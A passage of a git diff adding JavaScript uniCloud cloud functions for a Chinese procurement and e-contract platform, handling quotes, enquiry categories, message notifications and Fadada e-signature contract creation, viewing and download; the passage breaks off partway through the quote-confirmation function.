+ if (data.thirdList[i].phone) {
+
+ const thirdUser = await vk.baseDao.findByWhereJson({
+ dbName: 'uni-id-users',
+ whereJson: {
+ mobile: data.thirdList[i].phone
+ }
+ })
+ if (thirdUser) {
+ await vk.daoCenter.userContractDao.adds([
+ {
+ transactionId: vk.pubfn.createOrderNo("ST", 20),
+ userId: thirdUser.uid,
+ role: 'third',
+ sign: false,
+ contractId,
+ keyword: data.thirdList[i].signKeyword,
+ },
+ ])
+ await vk.baseDao.add({
+ dbName: "jjx-message",
+ dataJson: {
+ uid: thirdUser.uid,
+ title: `合同`,
+ content: `您有合同待签署,赶紧去签订合同吧`,
+ type: 'contract',
+ hasRead: false,
+ contractId,
+ isThird: true
+ }
+ });
+ }
+ // await pubFun.sendNotifySms(thirdUser._id, 'SMS_474525001')
+ }
+ }
+ }
+
+ res.data = uploaddocs.result
+ } else {
+ return {
+ code: -1,
+ msg: uploaddocs.msg
+ }
+ }
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/report.js b/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/report.js
new file mode 100644
index 0000000..65be315
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/report.js
@@ -0,0 +1,27 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/contract/kh/report 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {contractNum, evidenceType} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ const url = 'https://tczapi.fadada.com/czapi/api/compliance-contract-report'
+ // const url = 'https://czapi-test.fadada.com/evidence-api/api/compliance-contract-report'
+ const result = await pubFun.fadada(url, {
+ contractNum,
+ evidenceType
+ }, true)
+ if (parseInt(result.code) === 1000) {
+ res.data = result.data
+ }
+ return res
+ // 业务逻辑结束-----------------------------------------------------------
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/stopContract.js b/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/stopContract.js
new file mode 100644
index 0000000..fd0ec1a
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/stopContract.js
@@ -0,0 +1,28 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/contract/kh/stopContract 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ await vk.baseDao.updateById({
+ dbName: "jjx-contract",
+ id: data.id,
+ dataJson: {
+ // status:
+ }
+ })
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/viewContract.js b/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/viewContract.js
new file mode 100644
index 0000000..f45eba5
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/contract/kh/viewContract.js
@@ -0,0 +1,34 @@
+'use strict';
+const dbName = require('../../../../dao/config.js')
+module.exports = {
+ /**
+ * 查看合同
+ * @url client/contract/kh/view 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid, contractId } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ const contract = await vk.daoCenter.contractDao.selects({
+ whereJson: {
+ _id: contractId
+ },
+ getOne: true,
+ getMain: true
+ })
+
+ const viewRes = pubFun.fadadaUrl('viewContract.api', {
+ contract_id: contract.transactionId
+ })
+
+ res.data = viewRes
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/contract/pub/getDownload.js b/uniCloud-tcb/cloudfunctions/router/service/client/contract/pub/getDownload.js
new file mode 100644
index 0000000..2c863d5
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/contract/pub/getDownload.js
@@ -0,0 +1,39 @@
+'use strict';
+
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/contract/kh/report 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {contract_id} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ // const fileContent = await pubFun.fadada('downLoadContract.api', {
+ // contract_id
+ // })
+ // const {fileID} = await uniCloud.uploadFile({
+ // cloudPath: md5(contract_id) + '.pdf',
+ // fileContent
+ // })
+ // const {fileList} = await uniCloud.getTempFileURL({
+ // fileList: [fileID]
+ // })
+ // res.data = fileList[0].tempFileURL
+ const timestamp = vk.pubfn.timeFormat(new Date(), "yyyyMMddhhmmss");
+ return {
+ code: 0,
+ msg: "",
+ data: {
+ msg_digest: pubFun.getFadadaSign('downLoadContract.api', {contract_id}, timestamp),
+ timestamp,
+ app_id: 502704
+ }
+ }
+ // 业务逻辑结束-----------------------------------------------------------
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/coop/config/pub/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/coop/config/pub/getList.js
new file mode 100644
index 0000000..663d22a
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/coop/config/pub/getList.js
@@ -0,0 +1,31 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/coop/config/pub/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res = await vk.baseDao.select({
+ dbName: 'jjx-coop-config',
+ whereJson: {
+ type: data.type,
+ },
+ sortArr: [
+ {name: "sort", type: "asc"},
+ {name: "_id", type: "desc"},
+ ],
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/dict/pub/getDetail.js b/uniCloud-tcb/cloudfunctions/router/service/client/dict/pub/getDetail.js
new file mode 100644
index 0000000..7bf98f5
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/dict/pub/getDetail.js
@@ -0,0 +1,25 @@
+'use strict';
+module.exports = {
+ /**
+ * XXXnameXXX
+ * @url client/dict/pub/getDetail 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res = await vk.baseDao.findById({
+ dbName: "jjx-dict",
+ id: data.id
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/attributes/pub/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/attributes/pub/getList.js
new file mode 100644
index 0000000..96390f1
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/attributes/pub/getList.js
@@ -0,0 +1,56 @@
+'use strict';
+const dbName = 'jjx-enquiry-attributes'
+module.exports = {
+ /**
+ * 查询现货列表
+ * @url client/spot/goods/kh/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+ const {pageIndex,pageSize,label } = data
+
+ let whereJson = {
+ enable: true,
+ label
+ };
+
+
+
+ res = await vk.baseDao.selects({
+ dbName,
+ getCount:false,
+ pageIndex,
+ pageSize,
+ // 主表where条件
+ whereJson: whereJson,
+ // 主表字段显示规则
+ fieldJson:{},
+ // 主表排序规则
+ sortArr:[{ name:"sort", type:"asc" }],
+
+ });
+
+ res.rows.forEach(item => {
+ item.options = item.values.map(citem => {
+ return {
+ label: citem,
+ value: citem
+ }
+ })
+ delete item.values
+ })
+
+
+
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/attributes/pub/getOne.js b/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/attributes/pub/getOne.js
new file mode 100644
index 0000000..b9d99ff
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/attributes/pub/getOne.js
@@ -0,0 +1,44 @@
+'use strict';
+const dbName = 'jjx-enquiry-attributes'
+module.exports = {
+ /**
+ * 查询现货列表
+ * @url client/spot/goods/kh/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "",list: [] };
+ // 业务逻辑开始-----------------------------------------------------------
+ const {pageIndex,pageSize,label } = data
+
+ let whereJson = {
+ enable: true,
+ label
+ };
+
+
+
+ const info = await vk.baseDao.findByWhereJson({
+ dbName,
+ getCount:false,
+ whereJson: whereJson,
+ });
+
+ if(info != null) {
+ res.list = info.values.map(item => {
+ return {
+ label: item,
+ value: item
+ }
+ })
+ }
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/category/pub/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/category/pub/getList.js
new file mode 100644
index 0000000..9706860
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/category/pub/getList.js
@@ -0,0 +1,28 @@
+'use strict';
+module.exports = {
+ /**
+ * 查询商品分类列表
+ * @url client/product/category/pub/getAll 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid, whereJson } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+ let dbName = "jjx-enquiry-category";
+ res.data = await vk.baseDao.selects({
+ dbName,
+ getMain: true,
+ whereJson,
+ pageSize: -1
+ });
+
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/category/pub/getTree.js b/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/category/pub/getTree.js
new file mode 100644
index 0000000..c193e02
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/category/pub/getTree.js
@@ -0,0 +1,40 @@
+'use strict';
+module.exports = {
+ /**
+ * 查询商品分类列表
+ * @url client/product/category/pub/getAll 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid} = data;
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+ let dbName = "jjx-enquiry-category";
+ res = await vk.baseDao.selects({
+ dbName,
+ pageIndex: 1,
+ pageSize: 500,
+ whereJson: {
+ parent_id: _.in([null, ""]),
+ _id: _.exists(true)
+ },
+ sortArr: [{name: "sort", type: "asc"}],
+ // 树状结构参数
+ treeProps: {
+ id: "_id", // 唯一标识字段,默认为 _id
+ parent_id: "parent_id", // 父级标识字段,默认为 parent_id
+ children: "children", // 自定义返回的下级字段名,默认为 children
+ level: 3, // 查询返回的树的最大层级。超过设定层级的节点不会返回。默认10级,最大15,最小1
+ limit: 500, // 每一级最大返回的数据。
+ whereJson: {}
+ }
+ });
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/contract/kh/getList.js b/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/contract/kh/getList.js
new file mode 100644
index 0000000..e09b4f3
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/contract/kh/getList.js
@@ -0,0 +1,25 @@
+'use strict';
+
+module.exports = {
+ /**
+ * 获取我的合同列表
+ * @url client/enquiry/contract/kh/getList 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let { data = {}, userInfo, util, filterResponse, originalParam } = event;
+ let { customUtil, uniID, config, pubFun, vk, db, _ } = util;
+ let { uid } = data;
+ let res = { code: 0, msg: "" };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ res = await vk.baseDao.getTableData({
+ dbName: 'jjx-contract',
+ data
+ })
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/quote/kh/addQuote.js b/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/quote/kh/addQuote.js
new file mode 100644
index 0000000..8c7577f
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/quote/kh/addQuote.js
@@ -0,0 +1,178 @@
+'use strict';
+const dayjs = require("dayjs");
+var isBetween = require('dayjs/plugin/isBetween')
+dayjs.extend(isBetween)
+
+module.exports = {
+ /**
+ * 新增报价
+ * @url client/enquiry/quote/kh/addQuote 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {data = {}, userInfo, util, filterResponse, originalParam} = event;
+ let {customUtil, uniID, config, pubFun, vk, db, _} = util;
+ let {uid, totalPrice} = data;
+ let {company, manager, person, accountType} = userInfo
+ let res = {code: 0, msg: ""};
+ // 业务逻辑开始-----------------------------------------------------------
+
+ let noQuoteNo = false
+ if (parseInt(userInfo.userLevel) < 3) {
+ if (parseInt(userInfo.remainQuoteNum) === 0 || !userInfo.remainQuoteNum) {
+ const checkSheetQuoteNum = await vk.baseDao.findById({
+ dbName: "jjx-enquiry-sheet",
+ id: data.sheetId
+ })
+ if (checkSheetQuoteNum.quoteAmount) {
+ const checkQuoteNum = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-user-quote-num",
+ whereJson: {
+ uid,
+ type: 'enquiry',
+ sheetId: data.sheetId,
+ }
+ });
+ if (!checkQuoteNum || checkQuoteNum.num === 0) noQuoteNo = true
+ } else noQuoteNo = true
+ }
+ noQuoteNo = !!(userInfo.quoteExpiredAt && dayjs(userInfo.quoteExpiredAt).isBefore(dayjs()));
+ }
+ if (noQuoteNo) {
+ return {
+ code: 1,
+ msg: "您的报价次数已过期/用完"
+ }
+ }
+ if (userInfo.remainQuoteNum && userInfo.remainQuoteNum > 0) {
+ await vk.baseDao.update({
+ dbName: "uni-id-users",
+ whereJson: {
+ uid
+ },
+ dataJson: {
+ remainQuoteNum: _.inc(-1)
+ }
+ })
+ }
+
+ let subjectName = ''
+ let subjectMobile = ''
+ let managerName = ''
+ let managerMobile = ''
+
+ const checkSheet = await vk.baseDao.findById({
+ dbName: "jjx-enquiry-sheet",
+ id: data.sheetId
+ })
+
+ if (checkSheet.status > 0) return {
+ code: -1,
+ msg: "此询价单采购商已确认合作方,请您及时查看平台信息发布,及时报价,以免错过商机。"
+ }
+
+ if (checkSheet.earnestMoney && checkSheet.earnestMoney > 0 && checkSheet.earnestMoney > userInfo.paidEnsure) {
+ return {
+ code: 12,
+ msg: "您的保证金不足,请先缴纳保证金"
+ }
+ }
+
+ if (accountType === 1 && person.personName && person.mobile) {
+ subjectName = person.personName
+ subjectMobile = person.mobile
+ } else {
+ subjectName = company.companyName
+ subjectMobile = company.mobile
+ if (manager && manager.mobile && manager.personName) {
+ managerName = manager.personName
+ managerMobile = manager.mobile
+ }
+ }
+
+ // 添加报价单
+ res.data = await vk.baseDao.add({
+ dbName: "jjx-enquiry-quote",// 表名
+ dataJson: { // 需要新增的数据 json格式
+ ...data,
+ ...{
+ userId: data.uid,
+ status: 0,
+ subjectName,
+ subjectMobile,
+ managerName,
+ managerMobile,
+ }
+ }
+ });
+
+
+ const sheet = await vk.baseDao.updateAndReturn({
+ dbName: "jjx-enquiry-sheet",// 表名
+ whereJson: {
+ _id: data.sheetId,
+ },
+ dataJson: {
+ quoteNum: _.inc(1)
+ }
+ })
+
+ await vk.baseDao.updateById({
+ dbName: "uni-id-users",// 表名
+ id: data.uid,
+ dataJson: {
+ quoteTimes: _.inc(1)
+ }
+ })
+
+ const checkMessage = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-message-config",
+ whereJson: {
+ enquiry: true,
+ uid: sheet.userId
+ }
+ })
+
+ if (checkMessage) {
+ let send = true
+ // if (checkMessage.doNotDisturbRange && checkMessage.doNotDisturbRange[0]) {
+ // const date = dayjs().format("YYYY-MM-DD")
+ // const doNotDisturbRangeStart = dayjs(checkMessage.doNotDisturbRange[0]).format("HH:mm")
+ // const doNotDisturbRangeEnd = dayjs(checkMessage.doNotDisturbRange[1]).format("HH:mm")
+ // if (dayjs().isBetween(dayjs(`${date} ${doNotDisturbRangeStart}`), dayjs(`${date} ${doNotDisturbRangeEnd}`)))
+ // send = false
+ // }
+ const date = dayjs().format("YYYY-MM-DD")
+ if (checkMessage.doNotDisturbStart && checkMessage.doNotDisturbStart.length) {
+ const doNotDisturbRangeStart = dayjs(`${date} ${checkMessage.doNotDisturbStart[0]}:${checkMessage.doNotDisturbStart[1]}`).format("HH:mm")
+ const doNotDisturbRangeEnd = dayjs(`${date} ${checkMessage.doNotDisturbEnd[0]}:${checkMessage.doNotDisturbEnd[1]}`).format("HH:mm")
+ if (dayjs().isBetween(dayjs(`${date} ${doNotDisturbRangeStart}`), dayjs(`${date} ${doNotDisturbRangeEnd}`)))
+ send = false
+ }
+
+ if (checkMessage.tradeAmount && checkMessage.tradeAmount[0]) {
+ if (sheet.totalPrice < checkMessage.tradeAmount[0] || sheet.totalPrice > checkMessage.tradeAmount[1])
+ send = false
+ }
+ if (send) {
+ await vk.baseDao.add({
+ dbName: "jjx-message",
+ dataJson: {
+ uid: sheet.userId,
+ title: `找供应:${sheet.title}报价`,
+ content: `您的找供应信息有新的报价,赶紧去看看吧`,
+ type: 'enquiry',
+ hasRead: false,
+ pk: data.sheetId
+ }
+ });
+ await pubFun.sendNotifySms(sheet.userId, 'SMS_493290524')
+ }
+ }
+
+
+ // 业务逻辑结束-----------------------------------------------------------
+ return res;
+ }
+}
diff --git a/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/quote/kh/confirmQuote.js b/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/quote/kh/confirmQuote.js
new file mode 100644
index 0000000..2689301
--- /dev/null
+++ b/uniCloud-tcb/cloudfunctions/router/service/client/enquiry/quote/kh/confirmQuote.js
@@ -0,0 +1,493 @@
+'use strict';
+
+const dbName = require('../../../../../dao/config.js')
+const dayjs = require("dayjs");
+var isBetween = require('dayjs/plugin/isBetween')
+dayjs.extend(isBetween)
+
+const PROCESS_PAY_METHOD = ['预付', '货到验收后付款', '提货付全款', '信誉采购,货到签单后账期:']
+const WRITE_INVOICE_TIME = ['付款当月(限20号之前付款,20号之后付款次月开票)', '付款后次月', '付款前']
+const INVOICE_TYPE = ['增值税专用发票13%', '增值税普通发票', '普通发票']
+
+module.exports = {
+ /**
+ * 同意合作
+ * @url client/enquiry/quote/kh/confirmQuote 前端调用的url参数地址
+ * data 请求参数
+ * @param {String} params1 参数1
+ */
+ main: async (event) => {
+ let {
+ data = {}, userInfo, util, filterResponse, originalParam
+ } = event;
+ let {
+ pubFun,
+ vk,
+ } = util;
+ let {
+ uid,
+ quoteId
+ } = data;
+ let res = {
+ code: 0,
+ msg: ""
+ };
+ // 业务逻辑开始-----------------------------------------------------------
+
+ // 修改报价单状态
+ const quote = await vk.baseDao.updateAndReturn({
+ dbName: 'jjx-enquiry-quote',
+ whereJson: {
+ _id: quoteId,
+ status: 0
+ },
+ dataJson: {
+ status: 1,
+ }
+ })
+
+ if (!quote) {
+ return {
+ code: -1,
+ msg: '请刷新页面'
+ }
+ }
+ // 获取乙方信息
+ const quoteUser = await vk.baseDao.select({
+ dbName: dbName.user,
+ getMain: true,
+ getOne: true,
+ whereJson: {
+ _id: quote.userId
+ }
+ })
+
+ // 获取询价单信息
+ const sheet = await vk.baseDao.updateAndReturn({
+ dbName: dbName.enquirySheet,
+ whereJson: {_id: quote.sheetId},
+ dataJson: {
+ otherUid: quote.userId,
+ status: 1
+ }
+ })
+
+ const checkMessage = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-message-config",
+ whereJson: {
+ enquiry: true,
+ uid: quote.userId
+ }
+ })
+
+ if (checkMessage) {
+ let send = true
+ // if (checkMessage.doNotDisturbRange && checkMessage.doNotDisturbRange[0]) {
+ // const date = dayjs().format("YYYY-MM-DD")
+ // const doNotDisturbRangeStart = dayjs(checkMessage.doNotDisturbRange[0]).format("HH:mm")
+ // const doNotDisturbRangeEnd = dayjs(checkMessage.doNotDisturbRange[1]).format("HH:mm")
+ // if (dayjs().isBetween(dayjs(`${date} ${doNotDisturbRangeStart}`), dayjs(`${date} ${doNotDisturbRangeEnd}`)))
+ // send = false
+ // }
+ const date = dayjs().format("YYYY-MM-DD")
+ if (checkMessage.doNotDisturbStart && checkMessage.doNotDisturbStart.length) {
+ const doNotDisturbRangeStart = dayjs(`${date} ${checkMessage.doNotDisturbStart[0]}:${checkMessage.doNotDisturbStart[1]}`).format("HH:mm")
+ const doNotDisturbRangeEnd = dayjs(`${date} ${checkMessage.doNotDisturbEnd[0]}:${checkMessage.doNotDisturbEnd[1]}`).format("HH:mm")
+ if (dayjs().isBetween(dayjs(`${date} ${doNotDisturbRangeStart}`), dayjs(`${date} ${doNotDisturbRangeEnd}`)))
+ send = false
+ }
+
+ if (send) {
+ await vk.baseDao.add({
+ dbName: "jjx-message",
+ dataJson: {
+ uid: quote.userId,
+ title: `找买家:${sheet.title}被选商`,
+ content: `您报价的找买家信息已被选商,赶紧去签合同吧`,
+ type: 'contract',
+ hasRead: false,
+ pk: data.sheetId
+ }
+ });
+ await pubFun.sendNotifySms(quote.userId, 'SMS_474250536')
+ }
+ }
+
+ // 获取商品信息
+ const otherCate = sheet.otherCate ? String(sheet.otherCate).trim() : ''
+ const sheetProductList = otherCate ? [{
+ goodsName: otherCate,
+ procureNumber: sheet.procureNumber,
+ procureUnit: sheet.procureUnit,
+ }] : (Array.isArray(sheet.productList) ? sheet.productList : [])
+ const productTitle = sheetProductList.map(item => item.goodsName).filter(Boolean).join("/") || sheet.title
+
+ if (sheet.signMethod !== 1) {
+ const fadadaContractId = vk.pubfn.createOrderNo("E", 20)
+ // 上传合同模板并填充
+
+ // 新增合同记录
+ let contractTransactionId = vk.pubfn.createOrderNo("C", 20)
+ const contractId = await vk.baseDao.add({
+ dbName: 'jjx-contract',
+ dataJson: {
+ fadadaContractId,
+ contractBase: '', // 原始合同
+ contractHistory: [], // 历史合同
+ contractFinal: '', // 归档合同
+ status: 0,
+ userId: uid,
+ type: 'enquiry',
+ quoteId: quoteId,
+ sheetId: quote.sheetId,
+ productList: sheetProductList,
+ productTitle,
+ tradeMethod: sheet.tradeMethod,
+ partyCount: 2,
+ signCount: 0,
+ contractType: sheet.contractType,
+ signMethod: sheet.signMethod,
+ sellerSupplement: sheet.sellerSupplement,
+ transactionId: contractTransactionId,
+ amount: quote.totalPrice,
+ docTitle: productTitle
+ }
+ })
+
+ // await vk.baseDao.updateById({
+ // dbName: 'jjx-enquiry-sheet',
+ // id: quote.sheetId,
+ // dataJson: {
+ // status: 1
+ // }
+ // })
+ // await vk.baseDao.updateById({
+ // dbName: 'jjx-enquiry-quote',
+ // id: quoteId,
+ // dataJson: {
+ // status: 1
+ // }
+ // })
+
+ // 上传合同模板
+
+ //新增 用户与合同的关联记录
+ await vk.daoCenter.userContractDao.adds([
+ {
+ transactionId: vk.pubfn.createOrderNo("E", 20),
+ userId: quote.userId,
+ role: 'seller',
+ sign: false,
+ contractId
+ },
+ {
+ transactionId: vk.pubfn.createOrderNo("E", 20),
+ userId: uid,
+ role: 'buyer',
+ sign: false,
+ contractId
+ }
+ ])
+
+ if (sheet.signMethod === 0) {
+ const templateId = await vk.baseDao.findById({
+ dbName: 'jjx-dict',
+ id: '80e3bed065a5560e075799d24532b14f'
+ })
+ const buyerKeyword = await vk.baseDao.findById({
+ dbName: 'jjx-dict',
+ id: '0b153f9a65a56a2007227cf5157133bf'
+ })
+ const sellerKeyword = await vk.baseDao.findById({
+ dbName: 'jjx-dict',
+ id: '09e7876865a56a320731cb244bbef818'
+ })
+ const signMaxDate = await vk.baseDao.findById({
+ dbName: 'jjx-dict',
+ id: '657d78958b0da41d311bd94c'
+ })
+ const signEndDate = vk.pubfn.getOffsetTime(new Date(), {
+ day: parseInt(signMaxDate.content),
+ mode: "after",
+ });
+ // const fieldList = await vk.baseDao.select({
+ // dbName: 'jjx-contract-template',
+ // whereJson: {
+ // isOn: true
+ // }
+ // })
+ const sellerUser = await vk.baseDao.findById({
+ dbName: 'uni-id-users',
+ id: quote.userId
+ })
+ const buyerUser = await vk.baseDao.findById({
+ dbName: 'uni-id-users',
+ id: uid
+ })
+
+ const sellerUserBank = await vk.baseDao.findByWhereJson({
+ dbName: 'jjx-account',
+ whereJson: {
+ uid: quote.userId,
+ isDefault: true
+ }
+ })
+ const buyerUserBank = await vk.baseDao.findByWhereJson({
+ dbName: 'jjx-account',
+ whereJson: {
+ uid: uid,
+ isDefault: true
+ }
+ })
+
+ let tradeInfo = PROCESS_PAY_METHOD[sheet.payMethod]
+ if (sheet.payMethod === 0 && sheet.advancePayRate) tradeInfo += `${sheet.advancePayRate}%货到付全款`
+ if (sheet.payMethod === 3 && sheet.reputationPayDay) tradeInfo += `${sheet.reputationPayDay}天`
+ tradeInfo += `,发票要求:${sheet.invoice ? '含税' : '不含税'},开票时间:` + WRITE_INVOICE_TIME[sheet.writeInvoiceTime]
+ if (sheet.invoiceOther) tradeInfo += `,其他要求:${sheet.invoiceOther ? sheet.invoiceOther : '无'}`
+ else {
+ if (sheet.invoice)
+ tradeInfo += `,纳税人身份:${sheet.taxType},发票种类:${sheet.invoiceType},税率:${sheet.taxRate}`
+ }
+ let expressRequire = ''
+ expressRequire += `随货资料:${sheet.transportDocuments.join()},其他要求:${sheet.otherTransportDocuments ? sheet.otherTransportDocuments : '无'}${sheet.transportLimit ? '' : ',运输限制要求:无'}`
+ if (sheet.transportLimit && sheet.otherTransportRequest) expressRequire += `,运输限制说明:${sheet.otherTransportRequest}`
+ let detail = ''
+ if (sheet.fillType === 0) {
+ sheet.productList.forEach((item, index) => {
+ detail += `${item.goodsName}(${item.procureNumber}${item.procureUnit})`
+ if (item.deliverService) detail += ` ,${item.deliverService}`
+ if (item.pricingForm) detail += ` ,${item.pricingForm}`
+ if (item.loadPaidBy) detail += ` ,${item.loadPaidBy}`
+ item.model.forEach((model) => {
+ detail += `,${model.label}:${model.value}`
+ })
+ if (index < sheet.productList.length - 1) detail += '\r\n'
+ })
+ } else {
+ detail = productTitle
+ }
+ let info = sheet.remark ? `其他要求:${sheet.remark}` : ''
+ if (quote.remark) {
+ if (info) info += `,${quote.remark}`
+ else info = quote.remark
+ }
+ if (info === '') info = '无'
+
+ const accountType = sheet.invoice ? 'company' : 'person'
+ const buyerBank = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-account",
+ whereJson: {
+ uid: buyerUser._id,
+ type: accountType
+ }
+ })
+ let buyerBankName = buyerUser.accountType === 2 ? buyerUser.company.companyBankName : buyerUser.person.personBankName
+ let buyerAccount = buyerUser.accountType === 2 ? buyerUser.company.companyAccount : buyerUser.person.personAccount
+ let buyerBankAccountName = buyerUser.accountType === 2 ? buyerUser.company.companyAccount : buyerUser.person.personAccount
+ let sellerBankName = sellerUser.accountType === 2 ? sellerUser.company.companyBankName : sellerUser.person.personBankName
+ let sellerAccount = sellerUser.accountType === 2 ? sellerUser.company.companyAccount : sellerUser.person.personAccount
+ let sellerBankAccountName = sellerUser.accountType === 2 ? sellerUser.company.companyAccount : sellerUser.person.personAccount
+ if (buyerBank) {
+ buyerBankName = buyerBank.bankName
+ buyerAccount = buyerBank.account
+ buyerBankAccountName = buyerBank.accountName
+ }
+ const sellerBank = await vk.baseDao.findByWhereJson({
+ dbName: "jjx-account",
+ whereJson: {
+ uid: sellerUser._id,
+ type: accountType
+ }
+ })
+ if (sellerBank) {
+ sellerBankName = sellerBank.bankName
+ sellerAccount = sellerBank.account
+ sellerBankAccountName = sellerBank.accountName
+ }
+
+ const parameter = {
